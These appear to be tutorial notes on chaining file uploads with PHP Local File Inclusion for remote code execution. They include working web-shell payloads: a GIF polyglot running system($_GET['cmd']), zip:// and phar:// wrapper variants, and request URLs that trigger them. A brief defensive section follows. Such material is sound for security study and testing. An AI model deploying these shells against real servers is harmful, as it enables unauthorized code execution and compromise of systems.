LFI and file uploads
Legitimate file uploads (avatars, attachments, imports) are common. The risk here is usually not a broken upload validator alone but chaining with Local File Inclusion (LFI): if an execution-capable include processes the attacker-controlled path, PHP inside an uploaded file can run when that path is included—even if the file looks like an image by extension and magic bytes.
Preconditions
- Upload that stores a file the attacker can place (does not need to be “vulnerable” beyond accepting the bytes).
- LFI into a sink that executes code for the chosen resource (same matrix as intro to file inclusions: PHP
include/include_once, Javaimportin risky patterns, .NETinclude, etc.).require/ Noderes.renderare called out in course material as no remote URL in some rows; focus on execute capability for RCE.
Polyglot “image” + include
-
Build a file that passes casual checks: allowed extension (e.g.
.gif) and magic bytes at the start (e.g.GIF8—ASCII-friendly; other types work but may need binary/encoding care). -
Append PHP after the magic header, for example:
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif -
Upload via the app (e.g. profile photo). The file is inert until something includes it as PHP.
-
Discover on-disk or URL path (HTML
img src, browser devtools, or fuzz/uploads,/profile_images, etc.—paths may be hidden). -
Trigger LFI with that path (and
../if the sink prepends a base directory). Example:index.php?language=./profile_images/shell.gif&cmd=id
The shell is harmless for normal image serving; inclusion is what executes it.
PHP-only alternatives: zip:// and phar://
Use when the polyglot trick fails or wrappers are attractive; both depend on PHP and configuration / detection quirks.
Zip wrapper
zip may be disabled; not universal.
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
Upload shell.jpg (a zip). Include with # URL-encoded as %23:
language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
Renaming zip to .jpg can still fail content-type sniffers; works best when zip uploads are allowed.
Phar wrapper
Build a Phar containing an inner file with PHP, rename to something uploadable (e.g. shell.jpg). Requires php --define phar.readonly=0 to generate. Include:
language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
(inner path per how the archive was built). Treat zip and phar as fallbacks; polyglot upload + LFI is often the most reliable of the three.
Legacy edge case
Older setups: file_uploads on, old PHP, phpinfo() exposed, plus LFI—historical temporary upload path abuse. Rare today; specific requirements.
Defensive takeaway
Secure uploads (type, storage outside web root, non-executable serving) still matters, but do not rely on “images are safe” if any code path can include user-influenced filesystem paths with execute semantics. Prefer no user input in include paths, allowlists, and non-executable storage and response paths.